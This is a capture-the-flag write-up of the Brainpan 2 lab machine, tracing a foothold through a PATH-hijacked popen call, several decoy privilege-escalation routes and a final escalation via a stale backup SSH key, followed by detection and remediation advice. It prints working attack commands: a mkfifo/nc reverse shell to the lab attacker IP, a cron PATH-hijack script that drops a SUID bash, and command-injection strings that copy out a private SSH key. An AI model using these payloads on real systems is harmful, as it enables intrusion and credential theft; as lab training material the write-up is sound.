Brainpan 2 — trolls all the way down
A custom TCP service that leaks its own PATH, a popen() call hijacked through a writable working directory, and then a privilege-escalation maze built almost entirely out of dead ends: two separate accounts both named "root," a buffer-overflow binary that only reaches a decoy, and a writable Exim config that goes nowhere by design. The real uid 0 is a trailing-space account reached with a stale SSH backup key, pulled through a second SUID service. superkojiman named this one well.
Executive summary
Run from a fresh Parrot Security OS VM on the lab's host-only network. Brainpan 2 is less a buffer-overflow box than a lesson in not following the loudest clue. The foothold is clean and logical — a custom service hands you its PATH, its own notes tell you it reads a manpage with popen("man ./brainpan.txt"), and . sits in that PATH ahead of /usr/bin. Plant your own man, done.
The privilege escalation is where the box earns its name. Three separate routes lead to a fake root (uid 104) or straight into a wall: a cron PATH hijack, a SUID buffer-overflow binary, and a writable Exim config. None of them read the flag. The only path to real root runs through a second, older copy of the brainpan service that is SUID a different user — and ends at an account literally named "root ", with a trailing space, keyed in from a backup SSH directory.
Two ports and a fake binary
$ sudo nmap -p- --min-rate 3000 192.168.56.136 PORT STATE SERVICE 9999/tcp open abyss # custom "BRAINPAN 2.0" service 10000/tcp open snet-sensor-mgmt # python SimpleHTTPServer
The web server on :10000 serves an infographic and, under /bin/, a file named brainpan.exe. It's bait — file gives it away instantly:
$ wget -q http://192.168.56.136:10000/bin/brainpan.exe $ file brainpan.exe brainpan.exe: JPEG image data, JFIF standard 1.01 # not a binary — a troll
Run file, not wget-and-reverse. Both images on the box are steg-clean, and the "exe" is a JPEG. Time spent reversing it is time the author wanted you to waste. The way in is the service on :9999.
GUEST, DEBUG, and a leaked PATH
The :9999 service wants a login. The banner says "LOGIN AS GUEST" and means it literally — GUEST must be uppercase. A second undocumented account, DEBUG, switches commands into verbose developer output.
$ nc 192.168.56.136 9999 >> DEBUG LOGGED IN AS DEBUG >> SYSTEM HOME=/home/anansi PWD=/opt/brainpan PATH=/bin:.:/usr/bin:/sbin # note the "." — current dir, ahead of /usr/bin
A VIEW of the server's own notes.txt spells out the vulnerable call:
# notes.txt reynard: - Fixed call to read manpage: popen("man ./brainpan.txt", "r"); anansi: - Discovered buffer overflow in the command prompt, fixed as of version 2.0
Three facts line up into one exploit: the HELP command runs popen("man ./brainpan.txt") with a bare man; PATH has . (which resolves to /opt/brainpan) before /usr/bin; and man is not in /bin. Whoever can drop an executable man into the working directory owns the HELP command. The CREATE command writes files there — and sets the execute bit.
PATH hijack via popen
Write a man that is really a reverse shell. The popen runs through /bin/sh (dash), so a dash-safe mkfifo shell is used rather than a bash /dev/tcp one:
>> CREATE ENTER FILE TO CREATE: man ENTER CONTENTS: rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.137 4444 >/tmp/f EXECUTE BIT SET FILE CREATED >> FILES -rwxrwxrwx 1 anansi anansi 85 man # executable — PATH will pick it before /usr/bin/man >> HELP # fires popen("man ./brainpan.txt")
$ nc -lvnp 4444 connect to [192.168.56.137] from 192.168.56.136 $ id uid=1000(anansi) gid=1000(anansi) groups=1000(anansi),50(staff)
First-create quirk. CREATE occasionally drops a file without the execute bit despite printing "EXECUTE BIT SET." If PATH resolution falls through to the real man (you get the manpage, not a shell), re-create man and confirm rwx in FILES before triggering HELP. A non-executable file is skipped by PATH lookup, and the hijack silently fails.
Three roads to a fake root
anansi is in staff, and the box dangles three escalation paths. Every one of them is a trap that stops at a decoy. This is the heart of the box, and the lesson is to verify which uid you actually land on.
# the dual-root trick
$ grep -n root /etc/passwd root:x:104:106:root:/root:/bin/bash # FAKE root — uid 104 root :x:0:0:root:/var/root:/bin/bash # REAL root — uid 0, note trailing space in name
Two accounts both display as "root." Every "easy" privesc on this box lands on uid 104, whose home /root contains a whatif.txt taunt — not the flag, which is owned by uid 0.
| Route | Mechanism | Lands on |
|---|---|---|
| cron PATH hijack | staff-writable /usr/local/sbin + root cron runs bare run-parts | uid 104 (decoy) |
| msg_root | SUID stack overflow in /home/reynard/msg_root | uid 104 (decoy) |
| exim config | config.autogenerated owned by uid 104 | nowhere — see below |
# the cron hijack (reaches only the decoy)
# root crontab — note /usr/local/sbin is first in PATH, and staff can write it PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin 17 * * * * root cd / && run-parts --report /etc/cron.hourly $ printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /usr/local/sbin/run-parts $ chmod +x /usr/local/sbin/run-parts # at :17 the hourly cron runs our run-parts → SUID bash $ /tmp/rootbash -p $ id uid=1000(anansi) euid=104(root) groups=106(root),50(staff) # fake root, uid 104 $ cat /root/flag.txt cat: /root/flag.txt: Permission denied # flag is owned by uid 0
# the exim rabbit hole
As fake-root (104) you own /var/lib/exim4/config.autogenerated, and Exim 4.80 is SUID root. It looks like the obvious finish — inject a pipe transport, let the root daemon run it. It isn't:
$ echo test | /usr/sbin/exim4 -odf anansi@localhost Exim configuration file /var/lib/exim4/config.autogenerated has the wrong owner, group, or mode
Exim is the deliberate time-sink. Exim refuses to run as root against a config it doesn't trust — one not owned by root or the Exim user. The config is owned by uid 104, so every invocation drops privilege, and there is no root-owned Exim daemon or queue-runner to abuse. It's a wall by design. Kill the hypothesis empirically (no SUID bash gets dropped, ps shows no exim daemon) and move on rather than grinding payloads.
puck → the backup key → uid 0
The only route to real root runs through puck. An older copy of the brainpan service lives at /opt/old/brainpan-1.8/ — SUID puck, binding 127.0.0.1:9333. Unlike 2.0, the 1.8 service's VIEW command is injectable.
$ ls -la /opt/old/brainpan-1.8/ -rwsr-xr-x 1 puck puck 17734 brainpan-1.8.exe # SUID puck $ cd /opt/old/brainpan-1.8 && ./brainpan-1.8.exe & # binds 127.0.0.1:9333 as puck
Connect locally, log in GUEST, and inject a command through VIEW — it runs with euid=puck:
$ nc 127.0.0.1 9333 >> VIEW ENTER FILE TO DOWNLOAD: brainpan.7; id ... uid=1000(anansi) euid=1001(puck) groups=1001(puck),50(staff)
puck has a stale backup of an SSH key that the real root account still trusts. Copy it out through the same injection:
>> VIEW ENTER FILE TO DOWNLOAD: brainpan.7; cp /home/puck/.backup/.ssh/id_rsa /tmp/rootkey; chmod 644 /tmp/rootkey
# log in as the trailing-space root
SSH is bound to 127.0.1.1:2222 (loopback — invisible to the external scan). The username is "root " — four characters and a space:
$ cp /tmp/rootkey /tmp/ak # own it as anansi so ssh can read it $ chmod 600 /tmp/ak $ ssh -i /tmp/ak -p 2222 -o StrictHostKeyChecking=no -l "root " 127.0.1.1 'id; cat /root/flag.txt' uid=0(root ) gid=0(root ) groups=0(root ) !!! CONGRATULATIONS !!! You've completed the Brainpan 2 challenge!
Two field-gotchas that cost real minutes. Pass the trailing-space user with -l "root ", not as a positional user@host — bare, SSH parses "root " as a hostname. And SSH reads the identity file as your real uid: a key owned by a different user (even mode 600) gives could not open key file: Permission denied, so copy it to a file your own uid owns first.
Where the chain breaks
# detection
- PATH-relative
popen/system. A service calling external commands by bare name while.or a user-writable dir sits in itsPATHis the whole foothold. Watch for a daemon's children exec'ing from its own writable working directory. - New files in
/usr/local/*by non-root. Thestaffgroup writing to/usr/local/sbin, then a root cron exec'ing from it, is the cron hijack in progress. Audit writes there. - Backup key reuse. An
authorized_keysentry matching a private key found in a.backupdirectory is a silent lateral/vertical path. Key-material hygiene scans catch it. - Loopback SSH on an odd port.
127.0.1.1:2222never showed in the external scan; only on-host enumeration found it. Monitor local-only listeners.
# remediation
- Never put
.or writable dirs in a service's PATH, and call external binaries by absolute path (/usr/bin/man, notman). - Tighten group-writable system dirs.
staffwrite access to/usr/local/*combined with a root cron PATH that prefers it is a direct root hand-off. - Rotate and purge key material. Stale backup keys that still appear in a live
authorized_keysare as good as a shared root password. - Drop SUID where it isn't needed. The whole chain leans on SUID helper services (
brainpan-1.8,msg_root) running as other users; each is an escalation surface.